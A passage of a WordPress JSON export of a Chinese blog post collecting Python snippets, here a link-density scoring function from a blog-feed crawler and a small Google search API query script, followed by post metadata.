in ('com','edu','net','gov','org'):\n        host = '.'.join(host.split('.')[-3:])\n    else:\n        host = '.'.join(host.split('.')[-2:])\n\n    link_density = linktext_count = totaltext_count = 0.001\n    container_count = innerlink_count = 0.001\n    for a in ul.findAll('a'):\n        href = a.get('href', '')\n        # \u5185\u90e8\u94fe\u63a5\n        if not href or not href.lower().startswith('http') or host in href:\n            innerlink_count += 1\n            continue\n        # \u5c42\u6b21\u592a\u6df1\n        if urlparse(href)[2].strip('\/').count('\/') &gt;= 1 or '?' in href:\n            continue\n        link_density += 1\n        linktext_count += len(a.text)\n        if '_blank' == a.get('target'):\n            link_density += 1\n    # \u7edf\u8ba1\u5bb9\u5668\u5b57\u6570\n    for t in ul.recursiveChildGenerator():\n        if type(t) is NavigableString:\n            totaltext_count += len(t)\n        else:\n            container_count += 1\n    points = (link_density - innerlink_count) * 1000\n    if points &lt; 0: return 0\n\n    points = affect(points, 0.1, linktext_count \/ totaltext_count, 2.)\n    points = affect(points, 0.1, link_density \/ container_count, 1.)\n\n    if points &lt; 1000: points = 0\n    return points\n####\ndef find_text(body):\n    candidates = []\n    total_links = len(body.findAll('a')) + 0.001\n    # \u679a\u4e3e\u6587\u5b57\u5bb9\u5668\n    for tag in ('div', 'section', 'article', 'td', 'li', 'dd', 'dt'):\n        for x in body.findAll(tag):\n            if type(x) is not Tag: continue\n            points = len(x.text[:100].encode('utf8')) * 1000\n            points = affect(points, 0.1, 1 - len(x.findAll('a')) * 1. \/ total_links, 1.)\n            candidates.append((points, x))\n    # \u6392\u5e8f\uff0c\u53d6\u5206\u6570\u6700\u9ad8\u7684\u5bb9\u5668\n    candidates.sort(reverse = True)\n    if candidates:\n        return candidates[0][1]\n    return body<\/pre>\n<p>\u4ee3\u7801\u7247\u6bb5\u53d6\u81ea\uff1a<a href=\"http:\/\/xiaoxia.org\/2012\/05\/12\/blog-feed-crawler-python\/\u200d\" target=\"_blank\">\u901a\u8fc7\u53cb\u60c5\u94fe\u63a5\u8fdb\u884c\u535a\u5ba2Feed\u7684\u641c\u96c6\uff0c\u4f60\u7684\u535a\u5ba2\u6536\u5f55\u4e86\u5417<\/a>\uff0c\u6211\u76ee\u524d\u8fd8\u5728\u7406\u89e3\u3001\u5b66\u4e60\u7684\u9636\u6bb5\u3002<\/p>\n<h5>14.\u5229\u7528GoogleAPI\u8fdb\u884c\u5c11\u91cf\u7edf\u8ba1\u7ed3\u679c\u6293\u53d6<\/h5>\n<pre class=\"lang:default decode:true\">#!\/usr\/bin\/env python\n\nimport urllib\nimport simplejson\nquery = urllib.urlencode({'q':'ixyzero.com'})\nurl = 'http:\/\/ajax.googleapis.com\/ajax\/services\/search\/web?v=1.0&amp;%s'%(query)\nsearch_results = urllib.urlopen(url)\njson = simplejson.loads(search_results.read())\nprint(json)\nresults = json['responseData']['results']\nprint len(results)\nfor i in results:\n    print i['title'] + \": \" + i['url']<\/pre>\n<p>&nbsp;<\/p>\n<h5>\u5f85\u7eed\u2026\u2026<\/h5>\n","protected":false},"excerpt":{"rendered":"<p>1.Python\u7684ftplib\u6a21\u5757 \u5148\u770b\u5b9e\u4f8b\uff1a def ftp_anon(host): try: print  [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,7],"tags":[8],"class_list":["post-1516","post","type-post","status-publish","format-standard","hentry","category-knowledgebase-2","category-programing","tag-python"],"views":3318,"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/1516","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=1516"}],"version-history":[{"count":0,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/posts\/1516\/revisions"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=1516"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/categories?post=1516"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/tags?post=1516"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}